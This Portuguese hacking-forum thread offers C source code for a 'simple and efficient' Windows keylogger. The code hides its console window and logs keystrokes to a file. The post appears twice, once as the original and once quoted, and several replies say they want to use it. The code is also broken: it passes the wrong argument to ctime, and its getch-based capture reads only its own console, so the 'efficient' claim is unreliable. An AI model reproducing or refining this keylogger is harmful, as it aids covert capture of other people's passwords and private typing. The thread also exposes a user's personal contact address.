Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Simples e eficiente Keylogger para windows

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Continaçon
    replied
    Postado Originalmente por Cr4t3r Ver Post
    Segue primeiro o fluxograma:



    Vamos lá.

    Segue ae um código fonte para estudos.

    Código:
    #include <stdio.h>
    #include <conio.h>
    #include <windows.h>
    #include <time.h>
     
    #define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
     
    int main(){
    char capture;
    FILE *file;
     
    // Time stuff.
    time_t t;
    t = time(NULL);
    // Hide the window
    HWND window;
    AllocConsole();
    window=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(window,0);
     
    file = fopen(PATH, "a+");
    fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
     
    while(1)
    {
    Sleep(20); // To make sure this program doesn't steal all resources.
    if (kbhit())
    {
    capture = getch();
    // Just add in some helper strings here to the file, feel free to modify these to your needs.
    switch ((int)capture){
    case ' ': // Space key...obviously.
    fprintf(file, " ");
    break;
    case 0x09: // Tab key.
    fprintf(file, "[TAB]");
    break;
    case 0x0D: // Enter key.
    fprintf(file, "[ENTER]");
    break;
    case 0x1B: // Escape key.
    fprintf(file, "[ESC]");
    break;
    case 0x08: // Backspace key.
    fprintf(file, "[BACKSPACE]");
    break;
    default:
    fputc(capture,file); // Put any other inputted key into the file.
    }
     
    if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want.
    fclose(file);
    return 0;
    }
    }
    }
    }
    Bom, eu estou começando agora e gostaria de saber quais linguagens de programação devo aprender para usar, reparem, não quero que me ensinem a usar, quero que indiquem o caminho para que eu aprenda por mim. Skype para contato: lucas_vinicius_moral@hotmail.com (perdão pelo "moral", esse e-mail é da época do orkut )

    Leave a comment:


  • HigorCosta
    replied
    Desculpa sou novo e queria saber como uso esse keylogger ?

    Leave a comment:


  • Agares
    replied

    Muito bom bro, vai ajudar muito quem precisa de Keylogguer

    Leave a comment:


  • Persα
    replied
    Útil cara !, logo usarei ! thanks!

    Leave a comment:


  • Dacrusil
    replied
    Agradeço : ))

    Leave a comment:


  • Vetus
    started a topic Artigo Simples e eficiente Keylogger para windows

    Simples e eficiente Keylogger para windows

    Segue primeiro o fluxograma:



    Vamos lá.

    Segue ae um código fonte para estudos.

    Código:
    #include <stdio.h>
    #include <conio.h>
    #include <windows.h>
    #include <time.h>
     
    #define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
     
    int main(){
    char capture;
    FILE *file;
     
    // Time stuff.
    time_t t;
    t = time(NULL);
    // Hide the window
    HWND window;
    AllocConsole();
    window=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(window,0);
     
    file = fopen(PATH, "a+");
    fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
     
    while(1)
    {
    Sleep(20); // To make sure this program doesn't steal all resources.
    if (kbhit())
    {
    capture = getch();
    // Just add in some helper strings here to the file, feel free to modify these to your needs.
    switch ((int)capture){
    case ' ': // Space key...obviously.
    fprintf(file, " ");
    break;
    case 0x09: // Tab key.
    fprintf(file, "[TAB]");
    break;
    case 0x0D: // Enter key.
    fprintf(file, "[ENTER]");
    break;
    case 0x1B: // Escape key.
    fprintf(file, "[ESC]");
    break;
    case 0x08: // Backspace key.
    fprintf(file, "[BACKSPACE]");
    break;
    default:
    fputc(capture,file); // Put any other inputted key into the file.
    }
     
    if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want.
    fclose(file);
    return 0;
    }
    }
    }
    }
X
Working...
X